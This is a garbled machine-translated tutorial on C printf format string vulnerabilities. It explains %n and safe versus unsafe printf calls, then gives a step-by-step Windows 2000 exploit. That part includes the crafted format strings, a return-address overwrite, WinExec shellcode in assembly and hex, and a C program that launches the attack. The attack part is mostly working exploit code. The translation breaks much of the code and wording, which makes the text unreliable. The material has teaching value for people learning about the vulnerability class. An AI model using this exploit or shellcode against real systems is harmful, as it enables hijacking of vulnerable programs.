Even if only one C language foundation will printf () function, the usual first program in C language textbook is "Hello, World!", Kernighan and Ritchie triggered in "The C Programming Language".
#include
This is not finished, in the C language, when compiling and running this program to print "Hello, World!" Is not a simple screen output string. Similar programs fprintf (), vprintf (), and sprintf (), you want to add "f" after print, which is actually print format. The format section allows programmers to control the style of displaying text. You can use the following formatted characters by replacing a special format character, for example, to display the value of the integer variable "DVAL".
Printf ("THE VALUE IS% D", DVAL);
When printing,% D is replaced by the value of DVAL. If the programmer wants to display the same value with hexadecimal:
Printf ("The Value In Decimal IS% D and In Hexadecimal IS% X", DVAL, DVAL);
Here% D represents the decimal DVAL value,% x represents the value of hexadecimal DVAL. Here is a concentrated special format character:
% C Single-character format% D decimal integer (pre ANSI)% e,% E index form of FLOAT or DOUBLE% F decimal Float or double% I integer (LIKE% D)% O-eight-input integer% P address pointer% S-string% x,% x hexadecimal
Of course, the function is not limited to how to control the displayed data type, but also control the displayed width and queue.
A format character% N is not listed above, because there is special purpose, but it is very serious in the formatting character security issues. % N is used to record the number of characters printed into a variable. It is also used for statistical formatted bytes, which of course requires a space to store this number, so the program needs to allocate memory for this, such as the following code:
1. #include
The post-compilation output is displayed:
0000000000000012FF64 THE NUMBER OF BYTES FORMATTED in The Previous Printf Statement WAS 20
In the fourth line, the INT type variable bytes_formatted, in the sixth line, formatted characters indicated that 20 characters should be formatted by hexadecimal ("% .20X"),% N is written BYTES_FORMATTED variable. This means that a value has been written to another memory space. Now we do not discuss the compiler's write value or write address, and discuss that the defect (overflow) by causing these values in a way, if such successful, the execution control of the program may be obtained.
Overflow may occur in the programmer attempt to pass a string to a format function that uses the formatted character. Refer to the program below.
#include
After compiling and running, the following procedure is displayed:
Prompt: Myecho HelloHelloprompt: Myecho this is some textthis is some text
SO IT JUSTS SPITS Back What We Feed in - Or Does It? TRY:
Prompt: myecho% x% X112FFC0
Note that myecho% X% X has not been printed according to the original meaning, but the number of hexadecimal numbers is displayed? The reason is because these are formatted characters, which are passed to the Printf () function but does not use functions to explain these characters, and is considered a formatted character. Safe writing should be
Printf ("% s", argv [count]);
Instead:
Printf (argv [count]);
How can an attacker use it? They use the "% N" formatted characters, can write anything to the memory! If implemented, the execution of the program can be controlled. For example, on Intel, you can rewrite the address in the stack and point to their attack code, which can perform any programs for any purpose. This formatted character vulnerability is used to consider using functions, operating systems, and processor types.
Formatted character vulnerability problem under Windows 2000 / Intel
Consider the code with vulnerabilities below:
#include
INT Main (int Argc, char * argv []) {charffer [512] = ""; strncpy (buffer, argv [1], 500); printf (buffer); return 0;}
This program copies the first parameter to a buffer, then simply passes the buffer to printf, there is a problem with the code:
PRINTF (BUFFER);
Because a formatted character can be provided as the first parameter, it is passed to Printf (), assuming that this program is compiled and called PrintF.exe.
Attackers will now try to override the return address of the function in the stack with the supplied address, and the address provided can point to the attack code. To achieve this, it is necessary to get the exact byte number of formatted prints, which is used to match the needs you need.
Example: If the attacker's attack code is at address 0x0012FF40, then let PrintF expression format 0x0012FF40 bytes, formatted strings can be:
C: /> Printf% .622496x% .622496x% N
This allows 124,4992 bytes to format printing by Printf expression, and this number of hexadecimal is 0x0012FF40. But it is not perfect, and an attacker needs to put the Exploit code, it needs to occupy the number of bytes. Therefore, to generate the shell, in Windows 2000, this up to 40 bytes of Exploit Code, so it is necessary to modify the formatted string to subtract 40 in 622496.
It turns into:
c: /> printf AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA% .622496x% .622456x% n In this example, the attacker simply by the character "A" Alternatively attack code. It is now possible to run it but may have an illegal access problem because the program attempts to write 0x41414141 may not be initialized. When this problem occurs, the debugging program is as seen, unhappy is:
Mov DWORD PTR [EAX], ECX
It tries to move (MOV) ECX (ETC is 0x0012FF40, the attacker finds the address of the attack) to Eax (now 0x41414141) address, because the 0x41414141 is not initialized, so there is an access error. At the same time, debug and find the attack code string (just assuming that their address is 0x0012FF40), but they are not in the 0x0012FF40, but in address 0x0012fd80. It is not far from the phase difference, but it is necessary to use it very accurate. Therefore, you need to modify those format strings again. Prior to this, by finding a suitable goal (the return address that needs to be rewritten) is made. The attacker discovered a similar target, address 0x0012fd54, which stored the address of 0x00401077, so it can be made like this. The purpose to be reached now is to rewrite the EI P Address 0x0012FD80, this address is the address of the attack code. If this is reached, push this return address to the stack, the process will start to execute the attack code. How can I rewrite the address 0x0012FD54, but what I just did has been trying to override the address 0x41414141? Ok, this is a clue. % N formatted characters to point to the pointer flag somewhere in the string to the end of the string. The attacker must do, the% N changes from the format string to the end of the string, to achieve this purpose, you need to use more% X to complete, the attacker uses BBBB to mark strings end.
c: /> printf AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA% x% x% x% x% x% x% x% x% x% x% x% .622496x% .622456x% nBBBB
This is, the address attempts to write is 0x78257825, we convert to a decimal number to find that 0x78 is only lower-written, 0x25 is "%", so it is seen that the location written is still "% x% x% x% x" Some places, so, we continue to test, add more% x:
c: /> printf AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAA% x% x% x% x% x% x% x% x% x% x% x% x% x% x% x% x% x% x% x% x% x% X% x% x% x% x% x% x% .622496X% .622456x% NBBBB
This time, it is now, now to try to write the address is 0x42424242 (that is, BBBB), the attacker replaces the BBBB instead of the return position of the attack code 0x0012FD54. However, it is only possible to write 0x12 or 0xFD with ASCII very simply, so you need to write another program to write these values. The attacker used% x to rewrite the address 0x0012fd80 that can rewrite the required address, and now this value becomes 0x00130019 (Refdom Note: because there are many% x, so the size of% N is also increased), you need to write 665 words The content, change the 622456 of the 622456 to 621791, the program is: #include
int main () {char buffer [500] = "printf AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA% x% x% x% x% x% x% x% x% x% x% x% x% x% x% x% x% x% x % x% x% x% x% x% x% x% x% x% x% .622496x% .621791x% N / X54 / XFD / X12 ";
System (buffer);
RETURN 0; Note that the instructions at 0x0012FF90 (this is a stack address), and obviously, the process of attack is trying to perform the code in the stack, formatting the string Exploit works! The attacker has successfully rewritten the return address and will lead the program there. Now, the attacker only puts the Exploit code in, just replaced with AAA. Attackers will be a certain confirmation, alternatively four A becomes a checkpoint:
#include
(Note: There are still four A in the CHARBUFFER2 in the code, replaced by the back / XCC / XCC / XCC / XCC)
When running to this checkpoint, it returns to the code. It is now able to confirm that the execution of the program has been able to obtain and control the program, followed by an Exploit code. Suppose the shell code is below:
push ebp // Procedure Prologue - often not neededmov ebp, esp // Procedure Prologue - often not neededxor edi, edi // Get some NULLspush edi // Push them onto the stackmov byte ptr [ebp-04h], 63h // Write ' C 'of cmdmov Byte PTR [EBP-03H], 6DH // Write' m 'of cmdmov Byte PTR [EBP-02H], 64H // WRITE' D 'of cmdpush edi // push nulls again (2nd param for winexec )) MOV BYTE PTR [EBP-08H], 03H // Turn It Into Sw_maximizelea Eax, [EBP-04H] // Load Address of cmd Into Eaxpush Eax // Push It Onto Stack (1st Param for Winexec ()) MOV EAX 0x77e9b50e // move address of winexec () INTO EaxCall Eax // <---- Call IT This, the program is:
#include
INT main () {char buffer [500] = "Printf"; char expection_code [] = "," / x55 / x8b / xec / x33 / xff / x57 / xc6 / x45 / xfc / x63 / xc6 / x45 / xfd / X6D / XC6 / X45 / XFE / X64 / X57 / XC6 / X45 / XF8 / X01 / X8D / X45 / XFC / X50 / XB8 / X0E / XB5 / XE9 / X77 / XFF / XD0 / XCC "; char buffer2 [] = "AAAAA% X% X% x% x% x% x% x% x% x% x% x% x% x% x% x% x% x% x% x% x% x % x% x% x% x% .622496x% .621791x% N / X54 / XFD / X12 "
STRCAT (Buffer, Exploit_code); strcat (buffer, buffer2);
System (buffer);
Return 0;}
After compiling, the new shell has run.
This is a simple way to use the formatted character vulnerability in Win2000. The whole idea is to format a string of such size with the Exploit code address, and use this value to rewrite the return address of the program in the stack, so that when the subroutine is running back, it is not returned to the original address, but in contrast, but The replacement address continues to execute the program.
Using the PrintF class function is not necessarily the same as this example. For example: If there is a problem code with the vsprintf function (found in Van Dyke Technologies' SSH Server for Windows, vshell, found), the attacker does not select a memory location like Printf (), which is limited to the parameter list and after it In an address segment, as vshell, the thirteenth parameter is an address that saves this function pointer, so you can rewrite this address with an attacker's function pointer.